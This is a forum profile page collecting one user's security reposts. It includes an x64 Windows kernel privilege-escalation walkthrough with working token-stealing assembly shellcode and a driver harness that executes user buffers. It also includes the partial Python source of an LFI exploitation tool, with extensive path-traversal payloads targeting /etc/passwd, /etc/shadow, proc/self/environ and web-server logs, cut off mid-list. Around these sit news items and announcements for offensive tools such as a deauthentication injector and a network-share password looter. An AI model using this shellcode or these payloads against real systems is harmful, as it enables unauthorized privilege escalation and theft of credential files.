Jump to content

Nytro

Administrators
  • Posts

    18715
  • Joined

  • Last visited

  • Days Won

    701

Everything posted by Nytro

  1. x64 Kernel Privilege Escalation March 7, 2011 Caution: Mucking around in the kernel like this carries a high risk of causing the Blue Screen of Death (BSOD) and possible data loss. Testing in a virtual machine or other non-production system is highly recommended. Introduction he user account and access privileges associated with a running Windows process are determined by a kernel object called a token. The kernel data structures that keep track of various process-specific data contain a pointer to the process’s token. When the process attempts to perform various actions, such as opening a file, the account rights and privileges in the token are compared to the privileges required, to determine if access should be granted or denied. Because the token pointer is simply data in kernel memory, it is a trivial matter for code executing in kernel mode to change it to point to a different token and therefore grant the process a different set of privileges. This underscores the importance of securing the system against vulnerabilities that can be exploited by local users to execute code in the kernel. This article will provide an explanation and sample exploit code for elevating a process to Administrator-level privileges. Modified versions of the device driver and test program from my device driver development article will be used as a means of injecting executable code into the kernel. Details For a walk-through we will start up a command prompt (cmd.exe) with standard user privileges, and then use the kernel debugger to manually locate the token of the highly privileged System process and give the running cmd.exe process System-level privileges. First, find the hexadecimal address of the System process: kd> !process 0 0 System PROCESS fffffa8003cf11d0 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000 DirBase: 00187000 ObjectTable: fffff8a0000018b0 HandleCount: 687. Image: System This points to an _EPROCESS structure with many fields which we can dump as follows: kd> dt _EPROCESS fffffa8003cf11d0 nt!_EPROCESS +0x000 Pcb : _KPROCESS +0x160 ProcessLock : _EX_PUSH_LOCK +0x168 CreateTime : _LARGE_INTEGER 0x1cbdcf1`54a2bf4a +0x170 ExitTime : _LARGE_INTEGER 0x0 +0x178 RundownProtect : _EX_RUNDOWN_REF +0x180 UniqueProcessId : 0x00000000`00000004 Void +0x188 ActiveProcessLinks : _LIST_ENTRY [ 0xfffffa80`05b3c828 - 0xfffff800`02e71b30 ] +0x198 ProcessQuotaUsage : [2] 0 +0x1a8 ProcessQuotaPeak : [2] 0 +0x1b8 CommitCharge : 0x1e +0x1c0 QuotaBlock : 0xfffff800`02e50a80 _EPROCESS_QUOTA_BLOCK +0x1c8 CpuQuotaBlock : (null) +0x1d0 PeakVirtualSize : 0xf70000 +0x1d8 VirtualSize : 0x870000 +0x1e0 SessionProcessLinks : _LIST_ENTRY [ 0x00000000`00000000 - 0x0 ] +0x1f0 DebugPort : (null) +0x1f8 ExceptionPortData : (null) +0x1f8 ExceptionPortValue : 0 +0x1f8 ExceptionPortState : 0y000 +0x200 ObjectTable : 0xfffff8a0`000018b0 _HANDLE_TABLE +0x208 Token : _EX_FAST_REF +0x210 WorkingSetPage : 0 [...] The token is a pointer-sized value located at offset 0x208 and we can dump the value as follows: kd> dq fffffa8003cf11d0+208 L1 fffffa80`03cf13d8 fffff8a0`00004c5c You may have noticed in the _EPROCESS structure that the Token field is declared as an _EX_FAST_REF, rather than the expected _TOKEN structure. The _EX_FAST_REF structure is a trick that relies on the assumption that kernel data structures are required to be aligned in memory on a 16-byte boundary. This means that a pointer to a token or any other kernel object will always have the last 4 bits set to zero (in hex the last digit will always be zero). Windows therefore feels free to use the low 4 bits of the pointer value for something else (in this case a reference count that can be used for internal optimization purposes). kd> dt _EX_FAST_REF nt!_EX_FAST_REF +0x000 Object : Ptr64 Void +0x000 RefCnt : Pos 0, 4 Bits +0x000 Value : Uint8B To get the actual pointer from an _EX_FAST_REF, simply change the last hex digit to zero. To accomplish this programmatically, mask off the lowest 4 bits of the value with a logical-AND operation. kd> ? fffff8a0`00004c5c & ffffffff`fffffff0 Evaluate expression: -8108898235312 = fffff8a0`00004c50 We can display the token with dt _TOKEN or get a nicer display with the !token extension command: kd> !token fffff8a0`00004c50 _TOKEN fffff8a000004c50 TS Session ID: 0 User: S-1-5-18 Groups: 00 S-1-5-32-544 Attributes - Default Enabled Owner 01 S-1-1-0 Attributes - Mandatory Default Enabled 02 S-1-5-11 Attributes - Mandatory Default Enabled 03 S-1-16-16384 Attributes - GroupIntegrity GroupIntegrityEnabled Primary Group: S-1-5-18 Privs: 02 0x000000002 SeCreateTokenPrivilege Attributes - 03 0x000000003 SeAssignPrimaryTokenPrivilege Attributes - 04 0x000000004 SeLockMemoryPrivilege Attributes - Enabled Default [...] Note that the Security Identifier (SID) with value S-1-5-18 is the built-in SID for the Local System account (see the well-known SIDs reference from Microsoft). The next step is to locate the _EPROCESS structure for the cmd.exe process and replace the Token pointer at offset 0x208 with the address of the System token: kd> !process 0 0 cmd.exe PROCESS fffffa80068ea060 SessionId: 1 Cid: 0d0c Peb: 7fffffdf000 ParentCid: 094c DirBase: 1f512000 ObjectTable: fffff8a00b8b5a10 HandleCount: 18. Image: cmd.exe kd> eq fffffa80068ea060+208 fffff8a000004c50 Finally, go to the command prompt and use the built-in whoami command to display the user account. You can also confirm by running commands or accessing files that you know should require Administrator privileges. Exploit Code Implementing the above procedure in code is short and sweet, with only minor differences for x64 as compared to the x86 privilege escalation codes that have been around for years. I disassembled the nt!PsGetCurrentProcess function to see how to get the _EPROCESS address of the current process. The _EPROCESS structures of all running processes on the system are linked together in a circular doubly-linked list using the ActiveProcessLinks member. We can locate the System process by following these links and looking for process ID 4. ;priv.asm ;grant SYSTEM account privileges to calling process [BITS 64] start: ; db 0cch ;uncomment to debug mov rdx, [gs:188h] ;get _ETHREAD pointer from KPCR mov r8, [rdx+70h] ;_EPROCESS (see PsGetCurrentProcess function) mov r9, [r8+188h] ;ActiveProcessLinks list head mov rcx, [r9] ;follow link to first process in list find_system_proc: mov rdx, [rcx-8] ;offset from ActiveProcessLinks to UniqueProcessId cmp rdx, 4 ;process with ID 4 is System process jz found_it mov rcx, [rcx] ;follow _LIST_ENTRY Flink pointer cmp rcx, r9 ;see if back at list head jnz find_system_proc db 0cch ;(int 3) process #4 not found, should never happen found_it: mov rax, [rcx+80h] ;offset from ActiveProcessLinks to Token and al, 0f0h ;clear low 4 bits of _EX_FAST_REF structure mov [r8+208h], rax ;replace current process token with system token ret I’m using the Netwide Assembler (NASM) in Cygwin to assemble the code (native win32 NASM binaries are also available). Build with: nasm priv.asm This will generate a raw binary output file called priv (with no file extension). Note that NASM generates the two-byte opcode 0xCD 0x03 for the int 3 instruction rather than the standard one-byte 0xCC debugger breakpoint. This causes problems in the kernel debugger because it assumes that the next instruction is only one byte ahead in memory, not two bytes. This can be worked around if necessary by manually adjusting the RIP register by one byte after the breakpoint hits, but it’s better to just generate the correct opcode in the first place with db 0cch. Testing My device driver development article presents a sample device driver which accepts a string from a user-mode process via a Device I/O Control interface, and simply prints the string to the kernel debugger. To test the above exploit code, I modified the driver to execute the passed-in data as code instead: void (*func)(); //execute code in buffer func = (void(*)())buf; func(); This of course requires that the memory page be marked executable, otherwise Data Execution Prevention (DEP) would trigger an exception. I was actually surprised that the buffer passed into an IOCTL interface (using METHOD_DIRECT) was executable by default. I’m not sure if this will always be the case, and I believe it has to do with the use of large pages in kernel memory on x64 systems, which make memory protections impractical (memory can only be set as non-executable at the granularity of the virtual memory page size). I then modified the user-mode test program to use the following function to read the data from the priv binary file rather than passing in a hard-coded string: //allocates buffer and reads entire file //returns NULL on error //stores length to bytes_read if non-NULL char *read_file_data(char *filename, int *bytes_read) { char *buf; int fd, len; fd = _open(filename, _O_RDONLY | _O_BINARY); if (-1 == fd) { perror("Error opening file"); return NULL; } len = _filelength(fd); if (-1 == len) { perror("Error getting file size"); return NULL; } buf = malloc(len); if (NULL == buf) { perror("Error allocating memory"); return NULL; } if (len != _read(fd, buf, len)) { perror("error reading from file"); return NULL; } _close(fd); if (bytes_read != NULL) { *bytes_read = len; } return buf; } Finally, I also modified the test program to launch a command prompt in a separate process after executing the exploit code via the driver: //launch command prompt (cmd.exe) as new process void run_cmd() { STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); ZeroMemory(&pi, sizeof(pi)); si.cb = sizeof(si); if (!CreateProcess(L"c:\\windows\\system32\\cmd.exe", NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) { debug("error spawning cmd.exe"); } else { printf("launched cmd.exe with process id %d\n", pi.dwProcessId); } } The new command prompt process inherits the token of the test program process, which has been elevated to the System token. Sursa: http://mcdermottcybersecurity.com/articles/x64-kernel-privilege-escalation
  2. Full Android source code released By Chris Duckett November 14, 2011, 4:02 PM PST Takeaway: The source code for Android 4.x Ice Cream Sandwich and Android 3.x Honeycomb has been released on Google’s Android open-source project Git servers. For Ice Cream Sandwich, the source code is version 4.0.1, the version that will run on the upcoming Galaxy Nexus handset. A build target for the handset is included in the release. A full history of the Android source code is included, which means that sources for Honeycomb are available, but those files have not been paired with a Honeycomb release. The official announcement states that as Honeycomb was a little incomplete, Google wants developers to focus on Ice Cream Sandwich. Google had previously refused to release the Honeycomb source, saying that Honeycomb was not ready to be customised in the manner of the Android 2.x series. With the Ice Cream Sandwich source available, third-party vendors will now be able to modify and target the operating system. Research In Motion (RIM) has said previously that its Android player for the new BBX operating system could not target Honeycomb applications because the Android source was not freely available. The code can be downloaded from Android’s Git servers. Download: http://source.android.com/source/downloading.html Sursa: http://www.techrepublic.com/blog/australia/full-android-source-code-released/283
  3. HTML5, CSS3, and related technologies Rob Larsen, Interface Architect, Isobar Summary: Many technologies are informally lumped under the "HTML5" banner. This article helps clear up any confusion about what's in and what's out of the HTML specification, while shining light on the technologies themselves, such as the many CSS3 modules. Web standard development and marketing It's a great time to be a web developer. After a long period of hibernation, the standards bodies and browser vendors have been extremely busy over the past few years, generating a torrent of exciting technology. Developers are greedily seizing on this work, producing demos and full-blown applications at a steady pace. Fed by this activity and further boosted by the growth of their standards-capable mobile browsers, companies like Google and Apple are using these new standards to market their products and services. The wider press is also seizing on this wave and pushing standards hype well beyond the normal circle of web developers and browser vendors. This volume of discussion has obvious benefits, of course. People getting excited about web standards is a positive development for everyone in the industry. From that perspective, the persistent use of blanket terms, especially HTML5, as a sort of brand shorthand for "emerging web technology" is a useful shortcut. It allows nontechnical people to grasp—in a generalized way—the exciting work being done in the standards space right now. Interestingly, even the W3C has gotten into the act, using HTML5 and its associated logo (see Figure 1) to publicize the "web platform." On the downside, the volume of the specification work being done, coupled with the fast-and-loose labeling has created a bit of confusion, even in the developer community, surrounding the specifications themselves. Unless you're paying close attention to the volume of work, there's a real chance you'll get lost in the acronym soup of standards being generated. This article helps to clear up any confusion surrounding the ongoing standards work. It outlines the major standards efforts and provides a handy guide to the technologies themselves. Articol: www.ibm.com/developerworks/web/library/wa-webstandards/index.html
  4. How We Do Language Design at Microsoft (C#,Visual Basic,F#) Speakers: Alex Turner , Donald Syme , Lisa Feigenbaum , Lucian Wischik Hear from the C#,Visual Basic,and F# language designers themselves,about how we create the .NET Framework languages at Microsoft. Where do we get ideas? How do we incorporate new paradigms without breaking the existing languages? Where will we go in the future,and how will we get there? We talk about all these topics and more. Come ready for an interactive session,and get your questions answered by the team! Download: http://media.ch9.ms/teched/na/2011/wmv-hq/DEV328-HD.wmv Online: http://channel9.msdn.com/Events/TechEd/NorthAmerica/2011/DEV328?utm_source=dlvr.it&utm_medium=twitter
  5. Setiri - Advances in trojan technology Authors: Haroon Meer, Jaco van Graan Size: 1.1 MB Download: http://www.blackhat.com/presentations/bh-asia-02/Sensepost/bh-asia-02-sensepost-notes.pdf
  6. Firewall Log Watch 1.3 Authored by Boris Wesslowski | Site kyb.uni-stuttgart.de fwlogwatch is a packet filter and firewall log analyzer with support for Linux ipchains, Linux netfilter/iptables, Solaris/BSD/HP-UX/IRIX ipfilter, Cisco IOS, Cisco PIX/ASA, Netscreen, Elsa Lancom router, and Snort IDS log files. It can output its summaries in text and HTML and has a lot of options. fwlogwatch also features a realtime anomaly response capability with a Web interface. Changes: This release adds IPv6 support for netfilter, dns cache initialization, and ASA parser extensions. Download: http://packetstormsecurity.org/files/download/106996/fwlogwatch-1.3.tar.gz
  7. HWK Wireless Auditing Tool 0.3.2 Authored by atzeton | Site nullsecurity.net hwk is an easy-to-use wireless authentication and deauthentication tool. Furthermore, it also supports probe response fuzzing, beacon injection flooding, antenna alignment and various injection testing modes. Information gathering is selected by default and shows the incoming traffic indicating the packet types. Download: http://packetstormsecurity.org/files/download/106992/hwk_0.3.2.tar.gz
  8. Hackers port iPhone 4S's Siri to rival devices By Dan Goodin in San Francisco Posted in Mobile, 15th November 2011 00:19 GMT Hackers say they've reverse engineered the Siri personal assistant that debuted in last month's release of the iPhone 4S, a feat that allows them to make it work from virtually any device. To back up their claim, the hackers – from the mobile-application developer Applidium – released a collection of tools on Monday that they say can be used to build Siri-enabled applications on devices that were never authorized to offer the proprietary Apple feature. The tools, written in the Ruby, C, and Objective-C languages, are the result of painstaking sleuthing into the way Siri communicates with a remote server Apple dedicates to the service. "Today, we managed to crack open Siri's protocol," the Applidium developers wrote in a blog post. "As a result, we are able to use Siri's recognition engine from any device. Yes, that means anyone could now write an Android app that uses the real Siri! Or use Siri on an iPad!" The chances of someone using the findings to mass produce a Siri app for unauthorized devices is slim, since the hack requires a valid iPhone 4S unique identifier to be sent to the server. That means Apple could easily revoke identifiers that are used an abnormally high number of times, or from an abnormally high number of different locations. But there doesn't appear to be anything stopping individual iPhone 4S owners from using the hack to expand the number of devices that work with Apple's proprietary natural-language app. The Applidium developers reverse engineered Siri by setting up their own HTTPS servers with an SSL, or secure sockets layer, certificate they signed themselves. That allowed them to observe the commands Siri sent to Apple's server, which is located at guzzoni.apple.com. They eventually found that the body of such requests is little more than a binary plist whose contents can be deciphered using the Mac OS X plutil tool. Interestingly, Siri sends a huge amount of data to the Apple server, and it uses the Speex audio codec to compress raw audio data before it is transmitted. When Siri operates in text-to-speech mode, Apple's server applies a confidence score and time stamp to each word. iPhone fans who are excited by the possibility of this hack are advised to move quickly. Apple has long killed iOS bugs that make jailbreaks possible shortly after they're discovered, so it wouldn't be surprising to see the closing of this hole that allows Siri to be ported to rival devices. Sursa: http://www.theregister.co.uk/2011/11/15/siri_hack/
  9. [Net2SharePwn] - 1.0b JEUDI 10 NOVEMBRE 2011 Net2SharePwn is an utility to check and exploit automatically the NetBIOS Network Shares available from network access points. Question: How do you identify THE FILE containing a password to elevate your network or system privileges, when too much domains or IP addresses are present? The time is an important factor in this situation … and during penetration testing, it’s common to identify a VBS script embedding a domain administrator account password. Answer: Net2SharePwn has been built to allow that. Net2SharePwn is built in Python (tested on Python2.6) and can be launched only on Linux and Mac OS x platforms. I apologize for Python coding, it doesn’t respect the best practices but I didn’t predict to publish Net2SharePwn … Net2SharePwn is perhaps developed “with my feet” but it is functional. You can, if you want to, modify this program to adapt it for your personal usage. Readme (important): http://sud0man.blogspot.com/2011/11/net2sharepwn-10b.html Download: http://dl.dropbox.com/u/31995154/Net2SharePwn-PUB/publication/Net2SharePwn-1.0b/Net2SharePwn-1.0b.tar Sursa: http://sud0man.blogspot.com/2011/11/net2sharepwn-10b.html
  10. Super, are si un manual de folosire elegant. Felicitari!
  11. Uniscan 5.2 is released - vulnerability scanner Uniscan is a open source vulnerability scanner for Web applications. Uniscan 2.0 is a perl vulnerability scanner for RFI, LFI, RCE, XSS and SQL-injection. features: Identification of system pages through a Web Crawler. Use of threads in the crawler. Control the maximum number of requests the crawler. Control of variation of system pages identified by Web Crawler. Control of file extensions that are ignored. Test of pages found via the GET method. Test the forms found via the POST method. Support for SSL requests (HTTPS). Proxy support. Generate site list using Google. Generate site list using Bing. Plug-in support for Crawler. Plug-in support for dynamic tests. Plug-in support for static tests. Plug-in support for stress tests. Tutorials to create your plug-ins: ::: Uniscan :: Project ::: ::: Uniscan :: Project ::: ::: Uniscan :: Project ::: Download: http://sourceforge.net/projects/uniscan/files/5.2/uniscan5.2.tar.gz/download Sursa: Uniscan 5.2 is released - vulnerability scanner ~ The Hacker News | Hacking News | Learn Ethical Hacking Training
  12. Da, stiu de functii, dar asta mi s-a parut banal. Bine, nu l-am incercat, dar speram sa mearga.
  13. Se pot face sugestii pentru posturi pe pagina de FB. Imi dati PM.
  14. LFI Fuzzploit Tool 1.1 Authored by nullbyt3 LFI Fuzzploit is a simple tool to help in the fuzzing for, finding, and exploiting of local file inclusion vulnerabilities in Linux-based PHP applications. Using special encoding and fuzzing techniques, lfi_fuzzploit will scan for some known and some not so known LFI filter bypasses and exploits using some advanced encoding/bypass methods to try to bypass security and achieve its goal which is ultimately, exploiting a local file inclusion. Changes: A bug in the file descriptor scan function is fixed. A command shell bug is fixed. #!/usr/bin/python ##Python Linux LFI expl0iter and Fuzzer for Linux targets ## ##by nullbyt3 ## ##IF you rip, post, or modify please give proper credits to the author ## ########################################################################### ## lfi_fuzzploit is free software: you can redistribute it and/or modify## ## it under the terms of the GNU General Public License as published by ## ## the Free Software Foundation, either version 3 of the License, or ## ## (at your option) any later version. ## ## LFI_Fuzz is distributed in the hope that it will be useful, ## ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ## ## GNU General Public License for more details. ## ## You should have received a copy of the GNU General Public License ## ## along with LFI_fuzzploit. If not, see http://www.gnu.org/licenses/ ## ########################################################################### #Tested on Ubuntu 9.04-11.04, but should work on Windows with the proper modules import urllib,urllib2,sys,os,base64 def main(): banner() usage() logs = ["apache/logs/error.log","apache/logs/access.log","apache/logs/error.log","apache/logs/access.log","apache/logs/error.log","apache/logs/access.log", "etc/httpd/logs/acces_log","etc/httpd/logs/acces.log","etc/httpd/logs/error_log","etc/httpd/logs/error.log","var/www/logs/access_log","var/www/logs/access.log", "usr/local/apache/logs/access_log","usr/local/apache/logs/access.log","var/log/apache/access_log","var/log/apache2/access_log","var/log/apache/access.log", "var/log/apache2/access.log", "var/log/access_log", "var/log/access.log","var/www/logs/error_log","var/www/logs/error.log","usr/local/apache/logs/error_log", "usr/local/apache/logs/error.log","var/log/apache/error_log","var/log/apache2/error_log","var/log/apache/error.log","var/log/apache2/error.log", "var/log/error_log","var/log/error.log"] fuzzer=["../","../../../../../../../../../../../../etc/hosts","../../../../../../../../../../../../etc/passwd", "../../../../../../../../../../../../etc/shadow","..\%20\..\%20\..\%20\../etc/passwd","..\..\..\..\..\..\..\..\..\..\etc\passwd", "....//....//....//....//....//....//....//....//....//....//etc/passwd","....//....//....//....//....//....//....//....//....//....//etc/hosts", "..\..\..\..\..\..\..\..\..\..\etc\group",".\\./.\\./.\\./.\\./.\\./.\\./etc/passwd",".\\./.\\./.\\./.\\./.\\./.\\./etc/shadow", "/","../%00/","/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..", "../%2A","/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd","..//..//..//..//..//../etc/passwd", "/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/group","..//..//..//..//..//..//..//etc//passwd", "/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd","..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd", "/'","/\,%ENV\,/","/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd", "/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd","/.../.../.../.../.../%0a", "/../../../../../../../../%2A","/../../../../../../../../../../etc/passwd","..%2f%2f..%2f%2f..%2f%2f..%2f%2f..%2f%2f..%2f%2fetc%2f%2fpasswd", "/../../../../../../../../../../etc/passwd^^","/../../../../../../../../../../etc/group","../\../\../\../\../\../\../\etc/\passwd", "/../../../../../../../../../../etc/shadow^^","/../../../../../../../../bin/id|","...//...//...//...//...//...//etc//passwd", "/..\../..\../..\../..\../..\../..\../etc/passwd","/..\../..\../..\../..\../..\../..\../etc/shadow","../\.../\.../\.../\.../\.../\.../\etc/\passwd", "/./././././././././././etc/passwd","/./././././././././././etc/shadow","/./././././././././././etc/group",".../.../.../.../.../.../etc/passwd", "\.\.\.\.\.\.\.\.\etc\passwd","\.\.\.\.\.\.\.\.\etc\group","/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow", "/%00//%00//%00//%00//%00/etc/passwd","/%00//%00//%00//%00//%00/etc/passwd","/%00//%00//%00//%00//%00//etc//shadow", "/%2e%2e\../%2e%2e\../%2e%2e\../%2e%2e\../%2e%2e\../%2e%2e\../etc/passwd","/%2e%2e\../%2e%2e\../%2e%2e\../%2e%2e\../%2e%2e\../%2e%2e\../etc/shadow", "..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63","..%%35c..%%35c..%%35c..%%35c..%%35c..%%35c","..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc%5cgroup" "..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63etc%25%35%63passwd","..%255c..%255c..%255c..%255c..%255c..%255cetc%255cpasswd", "..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc%5cpasswd","..%5c..%5c..%5c..%5c..%5c..%5c../etc/passwd","..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc%5cgroup", "..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc%5cshadow","..%bg%qf..%bg%qf..%bg%qf..%bg%qf..%bg%qf","..%bg%qf..%bg%qf..%bg%qf..%bg%qf..%bg%qfetc%bg%qfpasswd", "..%bg%qf..%bg%qf..%bg%qf..%bg%qf..%bg%qfetc%bg%qfgroup","..%bg%qf..%bg%qf..%bg%qf..%bg%qfetc/passwd","../\.../\.../\.../\.../\.../\.../etc/passwd", "..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd","..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/shadow", "..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af","..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af", "..%u2215..%u2215..%u2215..%u2215..%u2215","..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215etc%u2215passwd", "..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215etc%u2215shadow",".%5c../..%5c/..%c0%9v..%5c.%5c../..%5c/..%c0%9v../", "..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215etc%u2215group","..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215etc%u2215passwd", "..%255c",".%5c../..%5c","/..%c0%9v../","/..%c0%af../","/..%255c..%255c","/..%c0%af..//..%c0%af..//..%c0%af../", "/..%255c..%255c/..%255c..%255c/..%255c..%255c","..%255c",".%5c../..%5c/..%c0%9v../","..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216etc%u2216passwd", "..%u2216..%u2216..%u2216..%u2216..%u2216etc%u2216hosts","..%u2216..%u2216..%u2216..%u2216..%u2216etc%u2216shadow","./\./\./\./\./\./\./etc/hosts", "../\./\./\./\./\./\./\etc/\passwd","../\./\./\./\./\./\./\proc/\self/\fd/\1","..//..//..//..//..//config.php","..\/..\/..\/..\/config.php", "..%5c..%5c..%5c..%5c..%5c..%5c..%5config.php","..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afconfig.php","..%25%35%63..%25%35%63..%25%35%63config.php", "/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2econfig.php"] lfi_load = ["etc/passwd","etc/group","etc/shadow","proc/cpuinfo","proc/meminfo","proc/self/mounts","proc/self/status","proc/self/stat","proc/self/mounts", "etc/security/access.conf","etc/security/opasswd","etc/snort/snort.conf","etc/ldap/ldap.conf","proc/version","etc/clamav/clamd.conf","etc/ssh/sshd_config", "etc/cups/printers.conf","etc/cups/cupsd.conf.default","etc/inetd.conf","etc/apache2/conf.d","etc/apache2/conf.d/security","etc/samba/dhcp.conf", "etc/samba/dhcp.conf","etc/mysql/conf.d/old_passwords.cnf","etc/X11/xorg.conf","etc/gconf","proc/self/cmdline","etc/dhcp3/dhclient.conf", "etc/irssi.conf","etc/chkrootkit.conf","etc/ufw/sysctl.conf","etc/ufw/ufw.conf","etc/php5/apache2/conf.d","etc/syslog.conf", "etc/snmp/snmpd.conf","share/snmp/snmpd.conf","etc/cvs-cron.conf","proc/self/environ","etc/clamav/freshclam.conf","etc/ca-certificates.conf", "etc/debconf.conf","etc/bash_completion.d/debconf","etc/tor/tor-tsocks.conf","etc/xdg/user-dirs.conf","etc/htdig/htdig.conf", "etc/remastersys.conf","etc/gnome-vfs-2.0/modules/default-modules.conf","etc/gnome-vfs-2.0/modules/extra-modules.conf","etc/gconf", "etc/gconf/gconf.xml.defaults","etc/gconf/gconf.xml.defaults/%gconf-tree.xml","etc/tor/tor-tsocks.conf","etc/xdg/user-dirs.conf","etc/htdig/htdig.conf", "etc/remastersys.conf","etc/gnome-vfs-2.0/modules/default-modules.conf","etc/gconf/gconf.xml.defaults","etc/gconf/2","etc/mysql/conf.d", "etc/gconf/gconf.xml.defaults/%gconf-tree.xml","etc/gconf/gconf.xml.system","etc/gconf/2/evoldap.conf","etc/gconf/2/path","etc/gconf/gconf.xml.mandatory", "etc/gconf/gconf.xml.mandatory/%gconf-tree.xml","etc/modprobe.d/vmware-tools.conf","etc/fonts/conf.d","etc/fonts/conf.d/README","etc/miredo.conf" "etc/bluetooth/input.conf","etc/bluetooth/network.conf","etc/bluetooth/main.conf","etc/bluetooth/rfcomm.conf","etc/ldap/ldap.conf","etc/cups/pdftops.conf", "etc/cups/cupsd.conf.default","etc/cups/acroread.conf","etc/cups/cupsd.conf","etc/oinkmaster.conf","etc/menu-methods/menu.config","etc/security/time.conf", "etc/security/namespace.conf","etc/security/sepermit.conf","etc/security/limits.conf","etc/security/group.conf","etc/security/pam_env.conf","etc/deluser.conf", "etc/miredo-server.conf",".etc/mail/sendmail.conf","etc/belocs/locale-gen.conf","etc/snort/threshold.conf","etc/snort/rules/open-test.conf", "etc/snort/rules/emerging.conf","etc/snort/snort-mysql.conf","etc/snort/reference.config","etc/arpalert/arpalert.conf","etc/udev/udev.conf","etc/resolvconf", "etc/resolvconf/update-libc.d","etc/resolvconf/update-libc.d/sendmail","etc/airoscript.conf","etc/foremost.conf","etc/scrollkeeper.conf","etc/pam.conf", "etc/nsswitch.conf","etc/initramfs-tools/conf.d","etc/GeoIP.conf.default","etc/proxychains.conf","etc/host.conf","etc/tinyproxy/tinyproxy.conf", "etc/freetds/freetds.conf","etc/prelude/default/global.conf","etc/prelude/default/idmef-client.conf","etc/prelude/default/tls.conf","etc/apache2/httpd.conf", "etc/apache2/conf.d","etc/apache2/conf.d/charset","etc/apache2/mods-enabled/deflate.conf","etc/apache2/ports.conf","etc/apache2/mods-enabled/mime.conf", "etc/apache2/mods-enabled/dir.conf","etc/apache2/mods-enabled/alias.conf","etc/apache2/mods-enabled/php5.conf","etc/apache2/mods-enabled/negotiation.conf", "etc/apache2/mods-enabled/status.conf","etc/apache2/mods-available/proxy.conf","etc/apache2/mods-available/deflate.conf","etc/apache2/mods-available/mime.conf", "etc/apache2/mods-available/dir.conf","etc/apache2/mods-available/mem_cache.conf","etc/apache2/mods-available/ssl.conf","etc/apache2/mods-available/autoindex.conf", "etc/apache2/mods-available/setenvif.conf","etc/updatedb.conf","etc/kernel-pkg.conf","etc/samba/dhcp.conf","etc/samba/smb.conf","etc/ltrace.conf", "etc/bonobo-activation/bonobo-activation-config.xml","etc/sysctl.conf","etc/mono/config","etc/mono/2.0/machine.config","etc/mono/2.0/web.config", "etc/mono/1.0/machine.config","etc/sensors.conf","etc/X11/xorg.conf-vesa","etc/X11/xorg.conf.BeforeVMwareToolsInstall","etc/X11/xorg.conf", "etc/X11/xorg.conf-vmware","etc/X11/xorg.conf.orig","etc/smi.conf","etc/postgresql-common/autovacuum.conf","etc/pulse/client.conf","etc/python/debian_config", "etc/hdparm.conf","etc/discover.conf.d","etc/discover.conf.d/00discover","etc/casper.conf","etc/discover-modprobe.conf","etc/updatedb.conf.BeforeVMwareToolsInstall", "etc/apt/apt.conf.d","etc/apt/apt.conf.d/00trustcdrom","etc/apt/apt.conf.d/70debconf","etc/apt/apt.conf.d/05aptitude","etc/apt/apt.conf.d/50unattended-upgrades", "etc/apt/apt.conf.d/01ubuntu","etc/apt/apt.conf.d/01autoremove","etc/vmware-tools/config","etc/vmware-tools/vmware-tools-libraries.conf","etc/vmware-tools/tpvmlp.conf", "etc/miredo/miredo.conf","etc/miredo/miredo-server.conf","etc/PolicyKit/PolicyKit.conf","etc/gtk-2.0/im-multipress.conf","etc/resolv.conf","etc/adduser.conf", "etc/subversion/config","etc/openvpn/update-resolv-conf","etc/cvs-pserver.conf","etc/pear/pear.conf","etc/dns2tcpd.conf","etc/java-6-sun/fontconfig.properties", "etc/privoxy/config","etc/gre.d/1.9.0.14.system.conf","etc/gre.d/1.9.0.15.system.conf","etc/gre.d/1.9.0.10.system.conf","etc/logrotate.conf", "etc/skel/.kde3/share/apps/kconf_update","etc/skel/.kde3/share/apps/kconf_update/log/update.log","etc/skel/.kde3/share/share/apps/kconf_update", "etc/skel/.kde3/share/share/apps/kconf_update/log","etc/skel/.kde3/share/share/apps/kconf_update/log/update.log","etc/skel/.config","etc/skel/.config/Trolltech.conf", "etc/skel/.config/menus","etc/skel/.config/menus/applications-kmenuedit.menu","etc/skel/.config/user-dirs.locale","etc/skel/.config/codef00.com", 